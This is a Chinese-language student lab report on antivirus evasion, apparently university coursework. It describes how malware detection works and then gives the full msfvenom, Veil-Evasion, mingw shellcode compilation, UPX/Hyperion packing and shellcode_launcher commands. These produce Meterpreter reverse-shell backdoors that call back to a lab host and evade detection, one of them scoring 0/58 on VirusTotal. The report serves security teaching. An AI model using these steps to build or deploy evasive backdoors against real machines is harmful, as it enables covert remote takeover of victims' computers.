zoukankan      html  css  js  c++  java
  • 20174321王柏舟-Ep3-免杀原理与实践

     一、实验原理

     免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

    1.恶意软件检测机制

    • 1.1 基于特征码的检测
    • 1.2 启发式恶意软件检测
    • 1.3 基于行为的恶意软件检测

    1.1 基于特征码的检测

    简单来说一段特征码就是一段或多段数据如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

    1.2 启发式恶意软件检测

    启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判

    1.3 基于行为的恶意软件检测

    从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

    2.免杀技术

    • 改变特征码
    • 改变行为
    • 非常规方法

    2.1 改变特征码

    如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译

    2.2 改变行为

    • 通讯方式:反弹式连接、隧道技术、加密通讯数据;
    • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

    2.3 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件。

    二、实验过程

    (一)正确使用msf编码器

    1.后门文件检测

    上次实验中生成了meter_backdoor的后门文件。

    将其放在virustotal.com中进行扫描,结果如下图所示:

    检出率为58/71,即71个扫描引擎中有58个把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

     在Virscan扫描结果如下图所示:

    2.msf编码(使用msf编码器对后门程序进行编码后再检测)

     Step1:终端输入 msfconsole 进入mfs,生成fool4321.exe并对后门程序进行编码(编码一次)

     msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.246.137 LPORT=4321 -f exe > fool4321.exe 

    将文件复制到Windows中,杀毒软件会提示该文件是木马文件,选择将其找回。

    将编码过的可执行文件fool4321.exe放到virustotal.com中进行扫描:

    检出率为56/71,比没有编码前降低了一点,效果可以忽略。

    Step2:用-i 指定次数为10,生成4321back1.exe并对后门程序进行编码(编码十次)

     msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.246.137 LPORT=4321 -f exe > 4321back1.exe 

    将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,选择找回。

    在VirusTotal中检测:

    检出率为56/71,和一次编码的效果没有差别。可见利用编码次数来达到免杀效果显然是不行的。

    (二)msf生成如jar之类的其他文件

    1.生成jar文件

    使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1_java.jar 生成jar文件:

    将文件放到win中指定位置,再放到virustotal.com中扫描:

    检出率为35/61,和exe比起来jar格式文件明显少了很多。

     2.生成php文件

    使用命令 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 x> 4321back1.php 生成php文件。

    将文件放到win中指定位置,再放到virustotal.com中扫描:

    检出率为3/58,效果特别好。

    (三)使用veil-evasion生成后门程序及检测

     1.Veil-Evasion安装

    Veil用于创建可被Meterpreter调用的Python程序。

    下载方法有很多,可以wget下载,也可以git克隆,我选择了git克隆。具体方法如下:(参考博文

    cd /opt/
    git clone https://github.com/veil-evasion/Veil.git
    cd ./Veil/setup
    ./setup.sh
    

    这是我选择的第二种方法,期间碰到的一些问题及解决方法在后面详细说明。

    2.生成文件

    输入 veil 打开软件,输入 use evasion 进入veil-evasion:

    进入到菜单界面可以看到当前一共有 41 种 payload 可用。

    输入 use c/meterpreter/rev_tcp.py 进入配置:

    set LHOST 192.168.246.137     //kali的IP地址
    set LPORT 4321                //端口号
    generate                      //生成文件
    

    输入文件名 4321w,可以看到文件4321w.exe的位置路径:

    将文件放到win中指定位置,再放到virustotal.com中扫描:

     

    检出率为48/72。

    (四)c+shellcode编程

    执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 -f c ,得到一段shellcode编码。

     touch 新建一个4321_shellcode.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

    执行  i686-w64-mingw32-g++ 4321_shellcode.c -o 4321_shellcode.exe 将c文件转换为可在64位windows系统下操作的exe可执行文件。

    将文件放到win中指定位置,再放到virustotal.com中扫描:

    检出率为43/72。

    (五)加壳

    1.upx

    本实验利用upx实现加壳,方法是:upx #需加壳的原文件 -o #加壳生成文件

    输入 upx 4321_shellcode.exe -o 4321_jiake.exe 生成加壳文件4321_jiake.exe。

    在Windows端运行加壳文件,kali打开msf监控测试:

    回连成功。

    把加壳之后得到的程序放到virustotal.com上扫描:

    检出率为38/72。效果非常好。

    2.HYPERION

    安装好hyperion后加密壳: wine hyperion.exe -v 4321_jiake.exe 4321_jiake_hyperion.exe 

    将文件放到win中指定位置,杀毒软件提示该文件是木马文件,选择找回。

    但是可以成功反弹回连。

    再放到virustotal.com中扫描:

    检出率51/71,免杀效果还不如加壳。

    (六)其他方法

    采用Veil-Evasion的其他荷载生成后门

    进入到evasion中,用list查看可用的有效荷载:

     

    选择第32个荷载: use 32 (Phython下shellcode在DES下加密的一种)

    用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

    输入文件名w4321,选择Py2Exe生成exe文件。

    将文件放到win中指定位置,再放到virustotal.com中扫描:

    检出率为0/58!

     (七)组合技术实现免杀&(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    使用shellcode_launcher(一种效果最好的shellcode加载器)实现免杀

    • 使用Msfvenom生成raw格式的shellcode:

     msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.246.137 lport=4321 -f raw -o 4321.raw 

    • 打开msfconsole进行监听:
    use exploit/multi/handler         //监听设置payload set payload
    set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
    set LHOST 192.168.246.137//Linux端的IP地址 
    set LPORT 4321//与之前输入的端口号一致
    exploit    //开始监听
    • 在另一台正常开启杀软的Windows命令提示符输入 shellcode_launcher.exe -i 4321.raw
    • 成功回连,杀软没有扫描出来木马病毒。
    • Windows版本:Windows 10
    • 杀软:金山毒霸


     三、思考题

    1.杀软是如何检测出恶意代码的?

    (1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。

          (2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

          (3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。

    2.免杀是做什么?

    通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,使得恶意代码能够不被杀毒软件所检测和查杀。

    3.免杀的基本方法有哪些?

    (1)改变特征码

      • 只有exe
        • 加壳:压缩壳,加密壳
      • 有shellcode
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)

    (2)改变行为

      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码。

    4.开启杀软能绝对防止电脑中恶意代码吗?

    开启杀软不能绝对防止电脑中恶意代码,但是及时更新是可以降低中毒的几率的。


    四、问题及解决办法

     1.安装好veil后提示:

    按照提示run了一下 /usr/share/veil/config/setup.sh --force --silent 代码又跑了一遍重新安装wine,之后veil安装成功。

    2.

    我的kali里没有自带的mingw-w64,需要sudo apt-get install mingw-w64来安装。


    五、实验心得体会

    这次实验中尝试了很多免杀方法,有些无截图就没有写到报告里。每次实验都会遇到大大小小的问题,让人非常崩溃。但是花费足够多的时间和精力后,问题又会顺利解决或者莫名其妙消失。在解决问题的过程中,我学习到了不少实验内容以外的kali linux知识。另外经过实验我了解到杀毒软件并不是特别可靠,我通过一些简单步骤生成的木马病毒无法被识别,需要我们及时更新杀软、及时进行电脑体检,提高安全意识。

  • 相关阅读:
    Java数据结构和算法总结-数组、二分查找
    Android开发必知--使用View.setId的正确姿势
    Fiddler基本用法以及如何对手机抓包
    Android学习笔记(十四)方便实用的首选项-PreferenceActivity
    Android学习笔记(十三)SharedPreference必须掌握的基础
    设计模式之单例模式
    关于如何控制一个页面的Ajax读数据只读一次的简单解决办法!
    ASP.NET MVC 表单提交多层子级实体集合数据到控制器中
    使用Bootstrap的popover标签中嵌入插件,并且为插件注册事件实现Ajax与后台交互
    关于.Net使用企业库访问MySql数据库
  • 原文地址:https://www.cnblogs.com/w574/p/12617765.html
Copyright © 2011-2022 走看看